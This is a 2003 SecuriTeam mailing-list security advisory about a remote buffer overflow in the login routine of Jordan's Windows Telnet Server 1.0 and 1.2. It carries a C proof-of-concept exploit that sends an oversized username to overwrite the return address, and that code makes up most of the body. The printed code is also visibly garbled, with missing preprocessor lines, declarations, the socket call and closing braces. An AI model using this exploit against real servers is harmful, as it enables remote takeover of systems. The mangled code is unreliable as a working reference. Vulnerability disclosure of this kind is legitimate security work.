[NT] Jordan's Telnet Server Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 12/31/03

To: list@securiteam.com
Date: 31 Dec 2003 17:29:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

- - - - - - - - -

  Jordan's Telnet Server Buffer Overflow


 <http://www.jordan.com/WindowsTelnetServer> Windows Telnet Server (Wtsd)
"is a small commercial telnet server written by Jordan Stojanovski". A
buffer overflow vulnerability in the product allows remote attackers to
cause the product to execute arbitrary code.


Vulnerable systems:
 * Jordan's Telnet Server version 1.0
 * Jordan's Telnet Server version 1.2

The bug is a remote buffer-overflow in the client's login procedure.
Practically a username of 518 bytes fully overwrites the return address of
the vulnerable function. The problem happens in the unchecked copy of the
buffer containing the string received from the socket to the new smaller

:00406281 F3A5 rep movsd

(instruction's offset of the demo version)

Proof of concept:

by Luigi Auriemma

Use -DWIN to compile the source on Windows


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>

#define VER "0.1"
#define PORT 23
#define BUFFSZ 2048
#define BOFSZ 518 /* 516 + 0d + 0a */
#define OFFSET 512
#define RETADD 0xdeadc0de

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_char *buff;
    struct sockaddr_in peer;
    int sd,
    u_short port = PORT;

    setbuf(stdout, NULL);

        "Jordan's Windows Telnet Server 1.2 remote buffer-overflow
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <server> [port(%d)]\n"
            "The return address will be overwritten with the value
            "\n", argv[0], PORT, RETADD);

#ifdef WIN
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(sd < 0) std_err();

        "Connecting to %s:%hu...",
        inet_ntoa(peer.sin_addr), port);
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();
    fputs("ok and now sending the big string\n\n", stdout);

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0) std_err();
    fwrite(buff, err, 1, stdout);

        /* BOOM BOOM CICABOOM */
    memset(buff, 'A', BOFSZ - 2); // fill buffer
    *(long *)(buff + OFFSET) = RETADD; // write RETADD
    memcpy(buff + BOFSZ - 2, "\x0d\x0a", 2); // CRLF

    err = send(sd, buff, BOFSZ, 0);
    if(err < 0) std_err();

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0) std_err();
    fwrite(buff, err, 1, stdout);
    fputc('\n', stdout);



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
        } else host_ip = *(u_long *)(hp->h_addr);


#ifndef WIN
    void std_err(void) {


The information has been provided by <mailto:aluigi@altervista.org> Luigi


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.